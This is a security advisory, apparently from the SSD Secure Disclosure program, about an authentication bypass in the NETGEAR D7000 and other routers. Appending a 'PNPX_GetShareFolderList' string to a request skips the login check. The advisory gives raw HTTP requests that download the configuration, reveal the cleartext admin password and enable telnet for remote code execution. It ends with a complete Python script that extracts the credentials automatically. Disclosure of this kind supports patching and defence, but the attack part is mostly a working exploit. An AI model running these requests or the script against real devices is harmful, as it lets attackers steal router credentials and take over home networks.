TL;DR
Find out how a vulnerability in NETGEAR D7000 device allows remote unauthenticated users to reveal the ‘admin’ password used to login to the admin web interface of the product. NOTE: The vendor states that multiple other devices are also vulnerable.
Vulnerability Summary
A vulnerability in NETGEAR D7000 device allows remote unauthenticated attackers to cause the device to reveal the cleartext form of the ‘admin’ account by accessing the setup.cgi
file.
CVE
CVE-TBA
Credit
An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.
Affected Versions
- AC2100 fixed in firmware version 1.2.0.88
- AC2400 fixed in firmware version 1.2.0.88
- AC2600 fixed in firmware version 1.2.0.88
- D7000 fixed in firmware version 1.0.1.80
- R6220 fixed in firmware version 1.1.0.110
- R6230 fixed in firmware version 1.1.0.110
- R6260 fixed in firmware version 1.1.0.84
- R6330 fixed in firmware version 1.1.0.84
- R6350 fixed in firmware version 1.1.0.84
- R6700v2 fixed in firmware version 1.2.0.88
- R6800 fixed in firmware version 1.2.0.88
- R6850 fixed in firmware version 1.1.0.84
- R6900v2 fixed in firmware version 1.2.0.88
- R7200 fixed in firmware version 1.2.0.88
- R7350 fixed in firmware version 1.2.0.88
- R7400 fixed in firmware version 1.2.0.88
- R7450 fixed in firmware version 1.2.0.88
Vendor Response
The vendor has issued an advisory: https://kb.netgear.com/000063961/Security-Advisory-for-Authentication-Bypass-Vulnerability-on-the-D7000-and-Some-Routers-PSV-2021-0133
Vulnerability Analysis
When decompiling the mini_httpd
binary present on the latest firmware in Ghidra, we see the following logic on line 530
LAB_000104f8: DAT_0001d4ec_needs_auth = 0; DAT_0001f24c = 0; } pcVar4 = (char *)FUN_0000b8f0(1); iVar3 = strcasecmp(pcVar5,pcVar4); if ((iVar3 == 0) && (pcVar6 = strstr(DAT_0001f330,"todo=PNPX_GetShareFolderList"), pcVar6 != (char *)0x0)) { DAT_0001d4ec_needs_auth = 0; }
It checks whether the request line contains todo=PNPX_GetShareFolderList
and if it does, it sets a variable at DAT_0001d4ec
to 0. It seems that this variable (which I’ve renamed to _needs_auth
) is used to check whether authentication is required to access the resource requested. If it is set to 0, the resource is served without requiring a username and password.
Since it uses strstr to check, the string needs to be present in the original request line, but there is no check to see whether the request line includes anything else.
This means that we can request any file without authentication on the web server, including the configuration file and webpages that disclose the password of the administrative user. For example, the following request discloses the configuration file:
GET /setup.cgi?next_file=NETGEAR_D7000.cfg&todo=backup_config HTTPx=todo=PNPX_GetShareFolderList/1.1 Host: 192.168.0.1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://66.103.5.46/BAK_backup.htm&todo=cfg_init Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: sessionid=sid5580xxx1080xxx509997255xxxx Connection: close
Note that the “magic string” of PNPX_xxx is included in the HTTP version here, thus the check passes and we receive a 302 redirect to download the configuration file:
GET /NETGEAR_D7000.cfg HTTPx=todo=PNPX_GetShareFolderList/1.1 Host: 192.168.0.1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://66.103.5.46/BAK_backup.htm&todo=cfg_init Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: sessionid=sid5580xxx1080xxx509997255xxxx Connection: close
If you receive a 403, make sure the cookie sessionid is up to date (you can request any unauthenticated page to get a valid cookie sessionid).
This configuration file discloses a hashed password, which is interesting. However, we can use this same vulnerability to request a webpage that discloses the full current password in use and use that to get access to the administrative console. On the source code of the below page (BRS_swisscom_success.html), the current password is disclosed:
=== Request GET /setup.cgi?next_file=BRS_swisscom_success.html&x=todo=PNPX_GetShareFolderList HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Accept: */* Referer: http://192.168.0.1/htpwd_recovery.cgi?id=8f63a688a3791c82 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Connection: close === Response <DIV class=left_div id=passpharse><span languageCode = "10719">New Admin password</span>: </DIV> <DIV class=right_div>currentpassword</DIV> <DIV style="CLEAR: both"></DIV>
Using this, we can access the admin page and enable telnet to get RCE:
GET /setup.cgi?todo=debug HTTP/1.1 Host: 192.168.0.1 Authorization: Basic <CREDS HERE> Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: sessionid=sid9578xxx3054xxx87993480xxxxx Connection: close
Demo

Exploit
#!/usr/bin/python3 import sys import warnings import contextlib import requests import re from urllib3.exceptions import InsecureRequestWarning # Suppress only the single warning from urllib3 needed. requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) hostname = "x.y.z.a" port = 8080 protocol = 'https' if port == 80: protocol = 'http' url = f"{protocol}://{hostname}:{port}/" print("Connecting to: {} and port: {}".format(hostname, port)) res = requests.get( url=url, verify=False ) # print("res: {}".format(res.headers)) D7000 = False if 'WWW-Authenticate' in res.headers: if 'D7000' in res.headers['WWW-Authenticate']: D7000 = True if not D7000: print("Unable to find D700 signature in the response") sys.exit(0) print("Remote device appears to be an D7000") res = requests.get( url=f"{protocol}://{hostname}:{port}/setup.cgi?next_file=BRS_swisscom_success.html&x=todo=PNPX_GetShareFolderList", verify=False ) # print("res: {}".format(res.text)) res_text = res.text matches = re.findall( pattern=r"<DIV class=left_div id=passpharse><span languageCode = \"[0-9]+\">Admin user Name</span>: </DIV>\s*<DIV class=right_div>([^<]+)</DIV>", string=res_text, ) username = '' if matches: username = matches[0] matches = re.findall( pattern=r"<DIV class=left_div id=passpharse><span languageCode = \"[0-9]+\">New Admin password</span>: </DIV>\s*<DIV class=right_div>([^<]+)</DIV>", string=res_text, ) passphrase = '' if matches: passphrase = matches[0] if passphrase == '' or username == '': print("Unable to find the username/passphrase") sys.exit(0) print(f"Found and using the following credentials: '{username}' and '{passphrase}'") res = requests.get( url=f"{protocol}://{hostname}:{port}/top.html", verify=False, auth=( username, passphrase) ) res_text = res.text # print(res_text) matches = re.findall( pattern=r"<div id=\"firm_version\"><span languageCode = \"[0-9]+\">Firmware Version</span><br />([^\n]+)", string=res_text,) if matches: print(f"Remote server firmware version: {matches[0]}") else: print("Failed to obtain firmware version (maybe we couldn't logon?)")